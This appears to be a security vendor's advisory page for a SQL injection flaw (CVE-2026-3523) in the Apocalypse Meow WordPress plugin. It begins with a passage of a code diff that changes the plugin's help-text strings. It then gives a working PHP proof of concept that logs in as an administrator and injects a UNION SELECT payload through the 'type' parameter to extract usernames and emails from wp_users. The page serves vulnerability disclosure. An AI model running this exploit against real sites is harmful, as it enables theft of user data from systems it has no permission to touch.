-			__('Out-of-the-Box, certain WordPress features and frontend oversights on the part of theme and plugin developers, can inadvertently place sites at greater risk of being successfully exploited by a hacker.', 'apocalypse-meow'),
-			__('Please make sure you read about each option before flipping any switches. While each of these items mitigates a threat, some threats are more threatening than others, and if your workflow depends on something you disable here, that might make life sad.', 'apocalypse-meow')
+			'Out-of-the-Box, certain WordPress features and frontend oversights on the part of theme and plugin developers, can inadvertently place sites at greater risk of being successfully exploited by a hacker.',
+			'Please make sure you read about each option before flipping any switches. While each of these items mitigates a threat, some threats are more threatening than others, and if your workflow depends on something you disable here, that might make life sad.',
 		),
 		'template-adjacent_posts'=>array(
 			sprintf(
-				__("WordPress adds information about next and previous posts in the HTML %s. This isn't usually a big deal, but can help robots find pages you thought were private. This is just robot food, so you can safely remove it.", 'apocalypse-meow'),
+				"WordPress adds information about next and previous posts in the HTML %s. This isn't usually a big deal, but can help robots find pages you thought were private. This is just robot food, so you can safely remove it.",
 				'<code><head></code>'
 			)
 		),
 		'core-file_edit'=>array(
-			__('WordPress comes with the ability to edit theme and plugin files directly through the browser. If an attacker gains access to WordPress, they too can make such changes.', 'apocalypse-meow'),
-			__('Please just use FTP to push code changes to the site. Haha.', 'apocalypse-meow'),
+			'WordPress comes with the ability to edit theme and plugin files directly through the browser. If an attacker gains access to WordPress, they too can make such changes.',
+			'Please just use FTP to push code changes to the site. Haha.',
 			sprintf(
-				__('Note: This will have no effect if the %s constant is defined elsewhere.', 'apocalypse-meow'),
+				'Note: This will have no effect if the %s constant is defined elsewhere.',
 				'<code>DISALLOW_FILE_EDIT</code>'
 			)
 		),
 		'template-generator_tag'=>array(
 			sprintf(
-				__('By default, WordPress embeds a version tag in the HTML %s. While this information is largely innocuous (and discoverable elsewhere), it can help nogoodniks better target attacks against your site. Since this is really only something a robot would see, it is safe to remove.', 'apocalypse-meow'),
+				'By default, WordPress embeds a version tag in the HTML %s. While this information is largely innocuous (and discoverable elsewhere), it can help nogoodniks better target attacks against your site. Since this is really only something a robot would see, it is safe to remove.',
 				'<code><head></code>'
 			)
 		),
 		'template-readme'=>array(
-			__('WordPress releases include a publicly accessible file detailing the version information. This is one of the first things a hacker will look for as it will help them better target their attacks.', 'apocalypse-meow'),
+			'WordPress releases include a publicly accessible file detailing the version information. This is one of the first things a hacker will look for as it will help them better target their attacks.',
 			(
-				@file_exists(trailingslashit(ABSPATH) . 'readme.html') ? sprintf(
-						__('Click %s to view yours.', 'apocalypse-meow'),
-						'<a href="' . esc_url(site_url('readme.html')) . '" target="_blank" rel="noopener">' . __('here', 'apocalypse-meow') . '</a>'
-					) : __('Your site does not have one right now. Woo!', 'apocalypse-meow')
+				@file_exists(trailingslashit(ABSPATH) . 'readme.html') ?
+				sprintf(
+					'Click %s to view yours.',
+					'<a href="' . esc_url(site_url('readme.html')) . '" target="_blank" rel="noopener">here</a>'
+				) :
+				'Your site does not have one right now. Woo!'
 			)
 		),
 		'template-noopener'=>array(
 			sprintf(
-				__("Any links on your site that open in a new window (e.g. %s) could potentially trigger a redirect in *your* site's window. This opens the door to some sneaky phishing attacks. See %s and %s for more information.", 'apocalypse-meow'),
+				"Any links on your site that open in a new window (e.g. %s) could potentially trigger a redirect in *your* site's window. This opens the door to some sneaky phishing attacks. See %s and %s for more information.",
 				'<code>target="blank"</code>',
-				'<a href="https://dev.to/ben/the-targetblank-vulnerability-by-example" target="_blank" rel="noopener">' . __('here', 'apocalypse-meow') . '</a>',
-				'<a href="https://mathiasbynens.github.io/rel-noopener/" target="_blank" rel="noopener">' . __('here', 'apocalypse-meow') . '</a>'
+				'<a href="https://dev.to/ben/the-targetblank-vulnerability-by-example" target="_blank" rel="noopener">here</a>',
+				'<a href="https://mathiasbynens.github.io/rel-noopener/" target="_blank" rel="noopener">here</a>'
 			),
 			sprintf(
-				__("This option adds %s to vulnerable links on your site, which is meant to disable this capability. It is a lightweight and non-destructive approach, but doesn't protect all browsers.", 'apocalypse-meow'),
+				"This option adds %s to vulnerable links on your site, which is meant to disable this capability. It is a lightweight and non-destructive approach, but doesn't protect all browsers.",
 				'<code>rel="noopener"</code>'
 			),
 			sprintf(
-				__('For a more comprehensive solution, take a look at %s.', 'apocalypse-meow'),
+				'For a more comprehensive solution, take a look at %s.',
 				'<a href="https://github.com/danielstjules/blankshield" target="_blank" rel="noopener">blankshield</a>'
 			)
 		),
 		'enumeration'=>array(
 			sprintf(
-				__("Ever wonder how a robot guessed your username? There's a neat trick that exploits a weakness in WordPress' permalink rewriting: visit %s and you should be redirected to a pretty URL ending in your username (unless Apocalypse Meow stops it). Robots simply try %s, %s, etc.", 'apocalypse-meow'),
+				"Ever wonder how a robot guessed your username? There's a neat trick that exploits a weakness in WordPress' permalink rewriting: visit %s and you should be redirected to a pretty URL ending in your username (unless Apocalypse Meow stops it). Robots simply try %s, %s, etc.",
 				'<a href="' . site_url('?author=' . $current_user->ID) . '" target="_blank" rel="noopener">' . site_url('?author=' . $current_user->ID) . '</a>',
 				'<code>?author=1</code>',
 				'<code>?author=2</code>'
@@ -191,31 +193,31 @@
 		),
 		'core-enumeration'=>array(
 			sprintf(
-				__("This setting blacklists the %s query variable so it cannot be used by robots… or anyone. Do not enable this setting if any of your themes or plugins lazy-link to an author's ID instead of their actual archive URL.", 'apocalypse-meow'),
+				"This setting blacklists the %s query variable so it cannot be used by robots… or anyone. Do not enable this setting if any of your themes or plugins lazy-link to an author's ID instead of their actual archive URL.",
 				'<code>author</code>'
 			),
 			sprintf(
-				__('Note: this setting will also disable the WP-REST %s endpoint in WordPress versions 4.7+.', 'apocalypse-meow'),
+				'Note: this setting will also disable the WP-REST %s endpoint in WordPress versions 4.7+.',
 				'<code>users</code>'
 			)
 		),
 		'core-enumeration_die'=>array(
 			sprintf(
-				__('By default, this plugin simply redirects any %s requests to the home page. But if you enable this option, it will instead trigger a 400 error and exit. This approach uses fewer resources and can more easily integrate with general log-monitoring policies.', 'apocalypse-meow'),
+				'By default, this plugin simply redirects any %s requests to the home page. But if you enable this option, it will instead trigger a 400 error and exit. This approach uses fewer resources and can more easily integrate with general log-monitoring policies.',
 				'<code>?author=X</code>'
 			),
-			__('Note: WP-REST requests will always result in an API error.', 'apocalypse-meow')
+			'Note: WP-REST requests will always result in an API error.',
 		),
 		'core-enumeration_fail'=>array(
-			__('When enabled, user enumeration attempts will be counted as login failures. You probably want to enable this as user enumeration usually precedes a login attack.', 'apocalypse-meow'),
+			'When enabled, user enumeration attempts will be counted as login failures. You probably want to enable this as user enumeration usually precedes a login attack.',
 			sprintf(
-				__('For tracking purposes, the "username" for these log entries will always read "%s".', 'apocalypse-meow'),
+				'For tracking purposes, the "username" for these log entries will always read "%s".',
 				core::ENUMERATION_USERNAME
 			),
 		),
 		'core-anonymize_user_agent'=>array(
 			sprintf(
-				__("The default %s header WordPress appends to all remote requests — %s — is both a privacy nightmare and, thanks to Automattic's willingness to weaponize it for spite and profit%s, an active security threat.", 'apocalypse-meow'),
+				"The default %s header WordPress appends to all remote requests — %s — is both a privacy nightmare and, thanks to Automattic's willingness to weaponize it for spite and profit%s, an active security threat.",
 				'<code>user-agent</code>',
 				'<code>' . esc_html(sprintf(
 					'WordPress/%s; %s',
@@ -225,150 +227,147 @@
 				'<a href="https://web.archive.org/web/20241106221548/https://wordpressenginetracker.com/" target="_blank" rel="noopener">*</a>',
 			),
 			sprintf(
-				__('When enabled, Apocalypse Meow automatically anonymizes that and other leaky request headers to help bring WordPress into compliance with its %s damn %s. Haha.', 'apocalypse-meow'),
-				sprintf('<em>%s</em>', __('own', 'apocalypse-meow')),
-				sprintf(
-					'<a href="https://make.wordpress.org/handbook/community-code-of-conduct/" target="_blank" rel="noopener">%s</a>',
-					__('Community Guidelines', 'apocalypse-meow'),
-				),
+				'When enabled, Apocalypse Meow automatically anonymizes that and other leaky request headers to help bring WordPress into compliance with its %s damn %s. Haha.',
+				'<em>own</em>',
+				'<a href="https://make.wordpress.org/handbook/community-code-of-conduct/" target="_blank" rel="noopener">Community Guidelines</a>',
 			),
 			sprintf(
-				 __('%s This feature can cause update-related problems for premium themes and plugins and hosting environments like WP Engine if they rely on the leaky headers for fingerprinting, etc.', 'apocalypse-meow'),
-				sprintf('<strong>%s</strong>', __('Warning:', 'apocalypse-meow')),
+				 '%s This feature can cause update-related problems for premium themes and plugins and hosting environments like WP Engine if they rely on the leaky headers for fingerprinting, etc.',
+				'<strong>Warning:</strong>',
 			),
 		),
 		'core-browse_happy'=>array(
-			__('When a user logs into WordPress, information about their web browser is sent to the WP.org API to check for possible support or security issues.', 'apocalypse-meow'),
-			__('For most sites, this mandatory remote request is helpful — the average web surfer does not apply regular software updates — but there are privacy and performance implications to consider.', 'apocalypse-meow'),
-			__('If public registration is disabled and everyone with a user account is tech-savvy, you can disable this check to eliminate the information leak.', 'apocalypse-meow'),
+			'When a user logs into WordPress, information about their web browser is sent to the WP.org API to check for possible support or security issues.',
+			'For most sites, this mandatory remote request is helpful — the average web surfer does not apply regular software updates — but there are privacy and performance implications to consider.',
+			'If public registration is disabled and everyone with a user account is tech-savvy, you can disable this check to eliminate the information leak.',
 		),
 		'core-dashboard_news'=>array(
-			__('By default, the WordPress Dashboard contains an Events and News feed. This information is remotely fetched, adding delay to the initial page load.', 'apocalypse-meow'),
-			__('If you find this information useful, keep it. Otherwise you can enable this option to remove it.', 'apocalypse-meow'),
+			'By default, the WordPress Dashboard contains an Events and News feed. This information is remotely fetched, adding delay to the initial page load.',
+			'If you find this information useful, keep it. Otherwise you can enable this option to remove it.',
 		),
 		'core-xmlrpc'=>array(
 			sprintf(
-				__("WordPress comes with an %s API to let users manage their blog content from mobile apps and other web sites. This is good stuff, but is also a common (and powerful) entry point for hackers. If you aren't using it, disable it.", 'apocalypse-meow'),
+				"WordPress comes with an %s API to let users manage their blog content from mobile apps and other web sites. This is good stuff, but is also a common (and powerful) entry point for hackers. If you aren't using it, disable it.",
 				'<a href="https://codex.wordpress.org/XML-RPC_Support" target="_blank" rel="noopener">XML-RPC</a>'
 			),
 			sprintf(
-				__('Some plugins, like %s, will not work correctly with XML-RPC disabled. If something breaks, just re-enable it.', 'apocalypse-meow'),
+				'Some plugins, like %s, will not work correctly with XML-RPC disabled. If something breaks, just re-enable it.',
 				'<a href="https://wordpress.org/plugins/jetpack/" target="_blank" rel="noopener">Jetpack</a>'
 			)
 		),
 		'prune'=>array(
-			__('Brute-force login prevention relies on record-keeping. Over time, with lots of activity, that data might start to pose storage or performance problems. Apocalypse Meow can be configured to automatically remove old data.', 'apocalypse-meow'),
+			'Brute-force login prevention relies on record-keeping. Over time, with lots of activity, that data might start to pose storage or performance problems. Apocalypse Meow can be configured to automatically remove old data.',
 		),
 		'prune-active'=>array(
-			__('Enable this option to ease your server of the burden of keeping indefinite login activity records.', 'apocalypse-meow')
+			'Enable this option to ease your server of the burden of keeping indefinite login activity records.',
 		),
 		'prune-limit'=>array(
-			__("Data older than this will be automatically pruned. It's a balance. Don't be too stingy or features like New Login Alerts won't be as effective. For most sites, it is a good idea to maintain at least 3 months worth of data.", 'apocalypse-meow')
+			"Data older than this will be automatically pruned. It's a balance. Don't be too stingy or features like New Login Alerts won't be as effective. For most sites, it is a good idea to maintain at least 3 months worth of data.",
 		),
 		'response'=>array(
 			sprintf(
-				__('The server returns various %s with every HTTP request. This information helps web browsers make sense of the returned content, and can also be used to enable or disable features, some of which have security implications.', 'apocalypse-meow'),
-				'<a href="https://en.wikipedia.org/wiki/List_of_HTTP_header_fields" target="_blank" rel="noopener">' . __('headers', 'apocalypse-meow') . '</a>'
+				'The server returns various %s with every HTTP request. This information helps web browsers make sense of the returned content, and can also be used to enable or disable features, some of which have security implications.',
+				'<a href="https://en.wikipedia.org/wiki/List_of_HTTP_header_fields" target="_blank" rel="noopener">headers</a>',
 			),
-			__('Not all browsers honor or understand all headers, but the settings in this section can help improve the security for users with browsers that do.', 'apocalypse-meow'),
+			'Not all browsers honor or understand all headers, but the settings in this section can help improve the security for users with browsers that do.',
 		),
 		'template-referrer_policy'=>array(
 			sprintf(
-				__('By default, when a visitor clicks a link, the browser will send the URL of the referring page to the new server. For example, if you click %s to learn about the %s header, %s would know you came from %s.', 'apocalypse-meow'),
+				'By default, when a visitor clicks a link, the browser will send the URL of the referring page to the new server. For example, if you click %s to learn about the %s header, %s would know you came from %s.',
 				'<a href="https://blog.appcanary.com/2017/http-security-headers.html#referrer-policy" target="_blank" rel="noopener">here</a>',
 				'<code>Referrer-Policy</code>',
 				'<code>blog.appcanary.com</code>',
 				'<code>' . admin_url('admin.php?page=meow-settings') . '</code>'
 			),
 			sprintf(
-				__('That is, unless, your server tells it not to (and the browser listens). When set to %s, a policy of %s will be set, sharing only your domain name. When set to %s, a policy of %s will be set, sharing nothing.', 'apocalypse-meow'),
-				'<code>' . __('Limited', 'apocalypse-meow') . '</code>',
+				'That is, unless, your server tells it not to (and the browser listens). When set to %s, a policy of %s will be set, sharing only your domain name. When set to %s, a policy of %s will be set, sharing nothing.',
+				'<code>Limited</code>',
 				'<code>origin-when-cross-origin</code>',
-				'<code>' . __('None', 'apocalypse-meow') . '</code>',
-				'<code>no-referrer</code>'
+				'<code>None</code>',
+				'<code>no-referrer</code>',
 			),
 			sprintf(
-				__('While a %s referrer policy is generally considered best practice, some (old) WordPress architecture relying on %s — such as password-protected posts — won't work correctly without referrer headers being set.', 'apocalypse-meow'),
-				'<code>' . __('None', 'apocalypse-meow') . '</code>',
-				'<code>wp_get_referer()</code>'
+				'While a %s referrer policy is generally considered best practice, some (old) WordPress architecture relying on %s — such as password-protected posts — won't work correctly without referrer headers being set.',
+				'<code>None</code>',
+				'<code>wp_get_referer()</code>',
 			),
 			sprintf(
-				__("Referrer Policies can be set in other ways, so if you don't need or want Apocalypse Meow to set any headers at all, leave this option set to %s.", 'apocalypse-meow'),
-				'<code>' . __('Default', 'apocalypse-meow') . '</code>'
+				"Referrer Policies can be set in other ways, so if you don't need or want Apocalypse Meow to set any headers at all, leave this option set to %s.",
+				'<code>Default</code>'
 			),
 		),
 		'template-x_content_type'=>array(
 			sprintf(
-				__('%s are meant to help software, like web browsers, correctly identify and display files. When the server sends %s, it should send a corresponding %s header identifying it as %s.', 'apocalypse-meow'),
-				'<a href="https://en.wikipedia.org/wiki/Media_type" target="_blank" rel="noopener">' . __('MIME types', 'apocalypse-meow') . '</a>',
+				'%s are meant to help software, like web browsers, correctly identify and display files. When the server sends %s, it should send a corresponding %s header identifying it as %s.',
+				'<a href="https://en.wikipedia.org/wiki/Media_type" target="_blank" rel="noopener">MIME types</a>',
 				'<code>kitten.jpg</code>',
 				'<code>Content-Type</code>',
-				'<code>image/jpeg</code>'
+				'<code>image/jpeg</code>',
 			),
 			sprintf(
-				__('Unfortunately, MIME handling is %s.', 'apocalypse-meow'),
-				'<a href="https://blobfolio.com/2017/03/climbing-mime-improbable/" target="_blank" rel="noopener">' . __('a chaotic mess', 'apocalypse-meow') . '</a>'
+				'Unfortunately, MIME handling is %s.',
+				'<a href="https://blobfolio.com/2017/03/climbing-mime-improbable/" target="_blank" rel="noopener">a chaotic mess</a>'
 			),
-			__('To help work around this, browsers will attempt to intelligently determine what kind of a file it has been given, independently of any headers, and handle it however it chooses.', 'apocalypse-meow'),
+			'To help work around this, browsers will attempt to intelligently determine what kind of a file it has been given, independently of any headers, and handle it however it chooses.',
 			sprintf(
-				__('This can be dangerous for WordPress sites, since upload validation is essentially limited to file names alone, which of course are completely arbitrary. If an attacker manages to upload a malicious Flash file by calling it %s, a browser will still send it to the Flash plugin.', 'apocalypse-meow'),
-				'<code>kitten.jpg</code>'
+				'This can be dangerous for WordPress sites, since upload validation is essentially limited to file names alone, which of course are completely arbitrary. If an attacker manages to upload a malicious Flash file by calling it %s, a browser will still send it to the Flash plugin.',
+				'<code>kitten.jpg</code>',
 			),
 			sprintf(
-				__('When enabled, the server will send a %s header with a value of %s. As long as your server correctly identifies its own content, this should be safe to enable.', 'apocalypse-meow'),
+				'When enabled, the server will send a %s header with a value of %s. As long as your server correctly identifies its own content, this should be safe to enable.',
 				'<a href="https://blog.appcanary.com/2017/http-security-headers.html#x-content-type-options" target="_blank" rel="noopener">X-Content-Type-Options</a>',
 				'<code>nosniff</code>'
 			),
 		),
 		'template-x_frame'=>array(
 			sprintf(
-				__("The %s header tells a browser whether or not pages from your site can be embedded *inside* someone else's. Unless you host content that is specifically intended to be embedded elsewhere, embedding should be disabled to avoid attacks like %s.", 'apocalypse-meow'),
+				"The %s header tells a browser whether or not pages from your site can be embedded *inside* someone else's. Unless you host content that is specifically intended to be embedded elsewhere, embedding should be disabled to avoid attacks like %s.",
 				'<a href="https://blog.appcanary.com/2017/http-security-headers.html#x-frame-options" target="_blank" rel="noopener">X-Frame-Options</a>',
 				'<a href="https://en.wikipedia.org/wiki/Clickjacking" target="_blank" rel="noopener">clickjacking</a>'
 			),
 			sprintf(
-				__('By default, the WordPress backend sends this header with a value of %s, meaning that admin pages can only be embedded by other pages on your site. This option extends this behavior site-wide.', 'apocalypse-meow'),
+				'By default, the WordPress backend sends this header with a value of %s, meaning that admin pages can only be embedded by other pages on your site. This option extends this behavior site-wide.',
 				'<code>SAMEORIGIN</code>',
 				'<code><iframe></code>'
 			),
-			__('Unless you host content that is specifically intended to be embedded elsewhere, you should enable this option.', 'apocalypse-meow'),
+			'Unless you host content that is specifically intended to be embedded elsewhere, you should enable this option.',
 		),
 		'register'=>array(
-			__('As you have probably noticed, open WordPress registrations attract a lot of SPAM. The options in this section provide several tests designed to detect and block robot submissions, while remaining entirely invisible to actual humans.', 'apocalypse-meow'),
-			__('*Do not* enable these options if your site uses custom registration forms or if the registration page is cached.', 'apocalypse-meow'),
+			'As you have probably noticed, open WordPress registrations attract a lot of SPAM. The options in this section provide several tests designed to detect and block robot submissions, while remaining entirely invisible to actual humans.',
+			'*Do not* enable these options if your site uses custom registration forms or if the registration page is cached.',
 		),
 		'register-cookie'=>array(
 			sprintf(
-				__('Registration robots are often very bare-bones and might not include basic functionality like support for %s.', 'apocalypse-meow'),
-				'<a href="https://en.wikipedia.org/wiki/HTTP_cookie" target="_blank" rel="noopener">HTTP Cookies</a>'
+				'Registration robots are often very bare-bones and might not include basic functionality like support for %s.',
+				'<a href="https://en.wikipedia.org/wiki/HTTP_cookie" target="_blank" rel="noopener">HTTP Cookies</a>',
 			),
-			__('This option sets a small cookie when the registration form is first loaded, and checks that it (still) exists when the form is being processed.', 'apocalypse-meow'),
-			__('This option should be safe to enable on all 

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-3523 - Apocalypse Meow <= 22.1.0 - Authenticated (Administrator+) SQL Injection via 'type' Parameter

<?php
// Configuration
$target_url = 'https://vulnerable-site.com/wp-admin/admin-ajax.php';
$username = 'admin';
$password = 'password';
$cookie_file = '/tmp/cookies.txt';

// Initialize cURL session for login
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, 'https://vulnerable-site.com/wp-login.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => 'https://vulnerable-site.com/wp-admin/',
    'testcookie' => '1'
]));
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie_file);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie_file);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);

// Execute login
$response = curl_exec($ch);

// Check if login was successful by looking for admin dashboard
if (strpos($response, 'wp-admin') === false) {
    die('Login failed. Check credentials.');
}

// Now exploit the SQL injection vulnerability
// The vulnerable endpoint is admin-ajax.php with action=meow_activity_search
$post_data = [
    'action' => 'meow_activity_search',
    'date_min' => '2024-01-01',
    'date_max' => '2024-12-31',
    // SQL injection payload in the type parameter
    // This payload extracts username and email from wp_users
    'type' => "ban' UNION SELECT user_login,user_email,NULL,NULL,NULL FROM wp_users-- ",
    'username' => '',
    'ip' => '',
    'subnet' => '',
    'pageSize' => 50,
    'orderby' => 'date_created',
    'order' => 'desc'
];

curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    'Content-Type: application/x-www-form-urlencoded',
    'X-Requested-With: XMLHttpRequest'
]);

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

if ($http_code == 200) {
    echo "Exploit successful! Response:n";
    echo $response;
    
    // Parse the JSON response to extract injected data
    $data = json_decode($response, true);
    if (isset($data['results']['rows'])) {
        echo "nExtracted user data:n";
        foreach ($data['results']['rows'] as $row) {
            if (isset($row['username']) && isset($row['ip'])) {
                // In our payload, username column contains user_login, ip column contains user_email
                echo "User: " . $row['username'] . " | Email: " . $row['ip'] . "n";
            }
        }
    }
} else {
    echo "Exploit failed. HTTP Code: $http_coden";
    echo "Response: $responsen";
}

curl_close($ch);
unlink($cookie_file);
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School